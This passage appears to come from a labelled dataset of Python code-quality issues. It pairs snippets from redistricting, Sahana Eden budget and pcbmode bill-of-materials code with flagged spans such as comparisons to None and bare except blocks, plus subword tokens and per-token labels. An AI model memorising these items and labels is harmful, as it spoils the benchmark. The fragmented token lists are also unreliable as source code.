"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "inr", "ange_", "._", "result_", "[_", "'", "value", "'_", "]_", "==_", "(_", "len_", "(_", "district", "s_", ")_", "-_", "1_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "target_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "\\u_", "(_", "'%", "(", "value", ")", "d", " ", "(", "of", " ", "%", "(", "target", ")", "s", ")'_", ")_", "%_", "{_", "'", "value", "'_", ":_", "inr", "ange_", "._", "result_", "[_", "'", "value", "'_", "]_", ",_", "'", "target", "'_", ":_", "target_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "inr", "ange_", "._", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "inr", "ange_", "._", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Maj", "ori", "ty", "Min", "ori", "ty_", "(_", "Calculat", "or", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "compute_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Det", "erm", "ine", " ", "if", " ", "the", " ", "requisit", "e", " ", "number", " ", "of", " ", "district", "s", " ", "in", " ", "a", " ", "plan", " ", "have", " ", "a", " ", "\\", "10", ";", " ", " ", " ", " ", "major", "it", "y", " ", "of", " ", "mino", "rity", " ", "popul", "ation", ".", " ", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "plan", ":", " ", "A", " ", "L", "{", "Plan", "}", " ", "who", "se", " ", "set", " ", "of", " ", "district", "s", " ", "shou", "ld", " ", "be", " ", "\\", "10", ";", " ", " ", " ", " ", "evaluate", "d", " ", "for", " ", "major", "it", "y", " ", "mino", "rity", " ", "compli", "anc", "e", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "version", ":", " ", "Optio", "nal", ".", " ", "The", " ", "version", " ", "of", " ", "the", " ", "plan", ",", " ", "default", "s", " ", "to", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "most", " ", "recent", " ", "version", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "popul", "ation", ":", " ", "The", " ", "primary", " ", "popul", "ation", " ", "subject", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "mino", "rity", "N", ":", " ", "The", " ", "mino", "rty", " ", "popul", "ation", " ", "subject", "s", ".", " ", "Number", "ing", " ", "\\", "10", ";", " ", " ", " ", " ", "starts", " ", "at", " ", "1", ",", " ", "and", " ", "must", " ", "be", " ", "continuous", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "threshol", "d", ":", " ", "Optio", "nal", ".", " ", "The", " ", "ratio", " ", "of", " ", "all", " ", "mino", "rity", "N", " ", "\\", "10", ";", " ", " ", " ", " ", "populations", " ", "to", " ", "the", " ", "popul", "ation", " ", "subject", " ", "whe", "n", " ", "'", "major", "it", "y", "'", " ", "is", " ", "\\", "10", ";", " ", " ", " ", " ", "achieve", "d", ".", " ", "Default", "s", " ", "to", " ", "0.", "5", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "target", ":", " ", "Optio", "nal", ".", " ", "The", " ", "number", " ", "of", " ", "district", "s", " ", "require", "d", " ", "to", " ", "be", " ", "\\", "10", ";", " ", " ", " ", " ", "valid", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "validation", ":", " ", "Optio", "nal", ".", " ", "Change", " ", "the", " ", "output", " ", "of", " ", "the", " ", "calculator", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "a", " ", "boolean", " ", "measure", " ", "for", " ", "plan", " ", "valid", "it", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "'", "plan", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "plan_", "=_", "kwargs_", "[_", "'", "plan", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "=_", "kwargs_", "[_", "'", "version", "'_", "]_", "if_", "'", "version", "'_", "in_", "kwargs_", "else_", "plan_", "._", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "district", "s_", "=_", "plan_", "._", "get", "\\u", "district", "s", "\\u", "at", "\\u", "version_", "(_", "version_", ",_", "include", "\\u", "geom_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "appl", "y", "\\u", "num", "\\u", "member", "s", "'_", "in_", "self_", "._", "arg", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "appl", "y", "\\u", "num", "\\u", "members_", "=_", "int_", "(_", "self_", "._", "arg", "\\u", "dict_", "[_", "'", "appl", "y", "\\u", "num", "\\u", "member", "s", "'_", "]_", "[_", "1_", "]_", ")_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "appl", "y", "\\u", "num", "\\u", "members_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "district", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "district_", "in_", "district", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pop_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "popul", "ation", "'_", ",_", "district_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "pop_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "den_", "=_", "float_", "(_", "pop_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "num_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exceed", "s_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "(_", "'", "mino", "rity", "%", "d", "'_", "%_", "arg", "num_", ")_", "in_", "self_", "._", "arg", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "minor_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "mino", "rity", "%", "d", "'_", "%_", "arg", "num_", ",_", "district_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "num_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "minor_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "num_", "=_", "float_", "(_", "minor_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "threshold_", "=_", "float_", "(_", "self_", "._", "get", "\\u", "value_", "(_", "'", "threshol", "d", "'_", ",_", "district_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "threshold_", "=_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "den_", "!=_", "0_", "and_", "num_", "/_", "den_", ">_", "threshold_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "exceed", "s_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "exceed", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "appl", "y", "\\u", "num", "\\u", "members_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "district", "count_", "+=_", "district_", "._", "num", "\\u", "members_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "district", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "district", "count_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "target", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "validation_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "validation", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "validation_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "district", "count_", ">=_", "Decimal_", "(_", "validation_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "target_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "\\u_", "(_", "'%", "(", "value", ")", "d", " ", "(", "of", " ", "%", "(", "target", ")", "s", ")'_", ")_", "%_", "{_", "'", "value", "'_", ":_", "district", "count_", ",_", "'", "target", "'_", ":_", "target_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Communi", "ty", "Type", "Counter_", "(_", "Calculat", "or", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "compute_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Count", " ", "the", " ", "number", " ", "of", " ", "communi", "ty", " ", "types", " ", "whi", "ch", " ", "intersect", " ", "a", " ", "district", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "district", ":", " ", "The", " ", "L", "{", "Distr", "ict", "}", " ", "to", " ", "compare", " ", "against", " ", "the", " ", "communi", "ty", "\\", "10", ";", " ", " ", " ", " ", "map", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "communi", "ty", "\\u", "map", "\\u", "id", ":", " ", "The", " ", "ID", " ", "of", " ", "the", " ", "communi", "ty", " ", "map", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "version", ":", " ", "Optio", "nal", ".", " ", "The", " ", "version", " ", "of", " ", "the", " ", "communi", "ty", " ", "map", ".", " ", "\\", "10", ";", " ", " ", " ", " ", "Default", "s", " ", "to", " ", "the", " ", "late", "st", " ", "version", " ", "of", " ", "the", " ", "communi", "ty", " ", "map", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "district", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "district_", "=_", "kwargs_", "[_", "'", "district", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "version_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "version", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version_", "=_", "kwargs_", "[_", "'", "version", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "\\u_", "(_", "'", "n", "/", "a", "'_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "communi", "ty", "\\u", "map", "\\u", "id", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "district_", "._", "count", "\\u", "communi", "ty", "\\u", "type", "\\u", "union_", "(_", "kwargs_", "[_", "'", "communi", "ty", "\\u", "map", "\\u", "id", "'_", "]_", ",_", "version_", "=_", "version_", ")_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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2 ]
Testing equality to None
sahana/eden/modules/s3db/budget.py
[ { "content": " @staticmethod\n def budget_allocation_duplicate(item):\n \"\"\"\n Import item de-duplication\n\n @todo: additionally have an onaccept sanitizing overlapping\n allocations? (may be too simple, though)\n \"\"\"\n\n data = item.data\n budget_entity_id = data.get(\"budget_entity_id\")\n cost_item_id = data.get(\"cost_item_id\")\n\n if budget_entity_id and cost_item_id:\n table = item.table\n\n start_date = data.get(\"start_date\")\n end_date = data.get(\"end_date\")\n\n # Regard same budget_entity_id and cost_item_id, and with\n # start_date = None or same start_date as match\n query = (table.budget_entity_id == budget_entity_id) & \\\n (table.cost_item_id == cost_item_id) & \\\n ((table.start_date == None) | \\\n (table.start_date == start_date))\n duplicate = current.db(query).select(table.id,\n limitby=(0, 1)).first()\n if duplicate:\n item.id = duplicate.id\n item.method = item.METHOD.UPDATE\n return", "metadata": "root.S3BudgetAllocationModel.budget_allocation_duplicate", "header": "['class', 'S3BudgetAllocationModel', '(', 'S3Model', ')', ':', '___EOS___']", "index": 1391 } ]
[ { "span": "table.start_date == None)", "start_line": 1414, "start_column": 22, "end_line": 1414, "end_column": 46 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "S", "3", "Bud", "get", "Allocati", "on", "Model_", "(_", "S", "3", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "budget", "\\u", "allocat", "ion", "\\u", "duplicate_", "(_", "item_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Import", " ", "item", " ", "de", "-", "duplicat", "ion", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "todo", ":", " ", "addition", "ally", " ", "have", " ", "an", " ", "onac", "cept", " ", "sani", "ti", "zin", "g", " ", "overlapping", "\\", "10", ";", " ", "allocations", "?", " ", "(", "may", " ", "be", " ", "too", " ", "simple", ",", " ", "tho", "ugh", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "item_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "budget", "\\u", "entity", "\\u", "id_", "=_", "data_", "._", "get_", "(_", "\"", "budget", "\\u", "entity", "\\u", "id", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cost", "\\u", "item", "\\u", "id_", "=_", "data_", "._", "get_", "(_", "\"", "cost", "\\u", "item", "\\u", "id", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "budget", "\\u", "entity", "\\u", "id_", "and_", "cost", "\\u", "item", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table_", "=_", "item_", "._", "table_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "\\u", "date_", "=_", "data_", "._", "get_", "(_", "\"", "start", "\\u", "date", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "\\u", "date_", "=_", "data_", "._", "get_", "(_", "\"", "end", "\\u", "date", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Reg", "ard", " ", "same", " ", "budget", "\\u", "entity", "\\u", "id", " ", "and", " ", "cost", "\\u", "item", "\\u", "id", ",", " ", "and", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "start", "\\u", "date", " ", "=", " ", "Non", "e", " ", "or", " ", "same", " ", "start", "\\u", "date", " ", "as", " ", "match_", "\\u\\u\\uNL\\u\\u\\u_", "query_", "=_", "(_", "table_", "._", "budget", "\\u", "entity", "\\u", "id_", "==_", "budget", "\\u", "entity", "\\u", "id_", ")_", "&_", "(_", "table_", "._", "cost", "\\u", "item", "\\u", "id_", "==_", "cost", "\\u", "item", "\\u", "id_", ")_", "&_", "(_", "(_", "table_", "._", "start", "\\u", "date_", "==_", "None_", ")_", "|_", "(_", "table_", "._", "start", "\\u", "date_", "==_", "start", "\\u", "date_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duplicate_", "=_", "current_", "._", "db_", "(_", "query_", ")_", "._", "select_", "(_", "table_", "._", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "limit", "by_", "=_", "(_", "0_", ",_", "1_", ")_", ")_", "._", "first_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "duplicate_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "item_", "._", "id_", "=_", "duplicate_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "item_", "._", "method_", "=_", "item_", "._", "METHOD_", "._", "UPDATE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
boldport/pcbmode/pcbmode/utils/bom.py
[ { "content": "def make_bom(quantity=None):\n \"\"\"\n \n \"\"\"\n\n def natural_key(string_):\n \"\"\"See http://www.codinghorror.com/blog/archives/001018.html\"\"\"\n return [int(s) if s.isdigit() else s for s in re.split(r'(\\d+)', string_)]\n\n\n \n dnp_text = 'Do not populate'\n uncateg_text = 'Uncategorised'\n\n components_dict = config.brd['components']\n \n bom_dict = {}\n\n for refdef in components_dict:\n\n description = ''\n\n try:\n place = components_dict[refdef]['place']\n except:\n place = True\n\n try:\n ignore = components_dict[refdef]['bom']['ignore']\n except:\n ignore = False\n\n # If component isn't placed, ignore it\n if place == True and ignore == False:\n\n # Get footprint definition and shapes\n try:\n footprint_name = components_dict[refdef]['footprint']\n except:\n msg.error(\"Cannot find a 'footprint' name for refdef %s.\" % refdef)\n \n # Open footprint file\n fname = os.path.join(config.cfg['base-dir'],\n config.cfg['locations']['components'],\n footprint_name + '.json')\n footprint_dict = utils.dictFromJsonFile(fname)\n \n info_dict = footprint_dict.get('info') or {}\n \n try: \n comp_bom_dict = components_dict[refdef]['bom']\n except:\n comp_bom_dict = {}\n \n try: \n fp_bom_dict = footprint_dict['info']\n except:\n fp_bom_dict = {}\n \n \n # Override component BoM info on top of footprint info\n for key in comp_bom_dict:\n fp_bom_dict[key] = comp_bom_dict[key]\n\n description = fp_bom_dict.get('description') or uncateg_text\n\n try:\n dnp = components_dict[refdef]['bom']['dnp']\n except:\n dnp = False \n\n if dnp == True:\n description = dnp_text\n \n if description not in bom_dict:\n bom_dict[description] = fp_bom_dict\n bom_dict[description]['refdefs'] = []\n bom_dict[description]['refdefs'].append(refdef)\n \n bom_dict[description]['placement'] = components_dict[refdef]['layer']\n \n\n try:\n bom_content = config.brd['bom']\n except:\n bom_content = [\n {\n \"field\": \"line-item\",\n \"text\": \"#\"\n },\n {\n \"field\": \"quantity\",\n \"text\": \"Qty\"\n },\n {\n \"field\": \"designators\",\n \"text\": \"Designators\"\n }, \n {\n \"field\": \"description\",\n \"text\": \"Description\"\n }, \n {\n \"field\": \"package\",\n \"text\": \"Package\"\n }, \n {\n \"field\": \"manufacturer\",\n \"text\": \"Manufacturer\"\n }, \n {\n \"field\": \"part-number\",\n \"text\": \"Part #\"\n },\n {\n \"field\": \"suppliers\",\n \"text\": \"Suppliers\",\n \"suppliers\": \n [\n {\n \"field\": \"farnell\",\n \"text\": \"Farnell #\",\n \"search-url\": \"http://uk.farnell.com/catalog/Search?st=\"\n },\n { \n \"field\": \"mouser\",\n \"text\": \"Mouser #\",\n \"search-url\": \"http://uk.mouser.com/Search/Refine.aspx?Keyword=\"\n },\n {\n \"field\": \"octopart\",\n \"text\": \"Octopart\",\n \"search-url\": \"https://octopart.com/search?q=\"\n }\n ]\n }, \n {\n \"field\": \"placement\",\n \"text\": \"Layer\"\n }, \n {\n \"field\": \"notes\",\n \"text\": \"Notes\"\n }\n ]\n\n\n\n # Set up the BoM file name\n bom_path = os.path.join(config.cfg['base-dir'],\n config.cfg['locations']['build'],\n 'bom')\n # Create path if it doesn't exist already\n utils.create_dir(bom_path)\n\n board_name = config.cfg['name']\n board_revision = config.brd['config'].get('rev')\n base_name = \"%s_rev_%s\" % (board_name, board_revision)\n\n bom_html = os.path.join(bom_path, base_name + '_%s.html'% 'bom')\n bom_csv = os.path.join(bom_path, base_name + '_%s.csv'% 'bom')\n\n\n html = []\n csv = []\n\n\n html.append('<html>')\n html.append('<style type=\"text/css\">')\n try:\n css = config.stl['layout']['bom']['css']\n except:\n css = []\n for line in css:\n html.append(line)\n html.append('</style>')\n html.append('<table class=\"tg\">')\n\n header = []\n for item in bom_content:\n if item['field'] == 'suppliers':\n for supplier in item['suppliers']:\n header.append(\"%s\" % supplier['text'])\n else:\n header.append(\"%s\" % item['text'])\n if item['field'] == 'quantity' and quantity != None:\n header.append(\"@%s\" % quantity)\n\n html.append(' <tr>')\n html.append(' <th class=\"tg-title\" colspan=\"%s\">Bill of materials -- %s rev %s</th>' % (len(header), board_name, board_revision))\n html.append(' </tr>') \n html.append(' <tr>')\n for item in header:\n html.append(' <th class=\"tg-header\">%s</th>' % item)\n html.append(' </tr>')\n \n\n uncateg_content = []\n dnp_content = []\n index = 1\n\n for desc in bom_dict:\n content = []\n for item in bom_content:\n if item['field'] == 'line-item':\n content.append(\"<strong>%s</strong>\" % str(index))\n elif item['field'] == 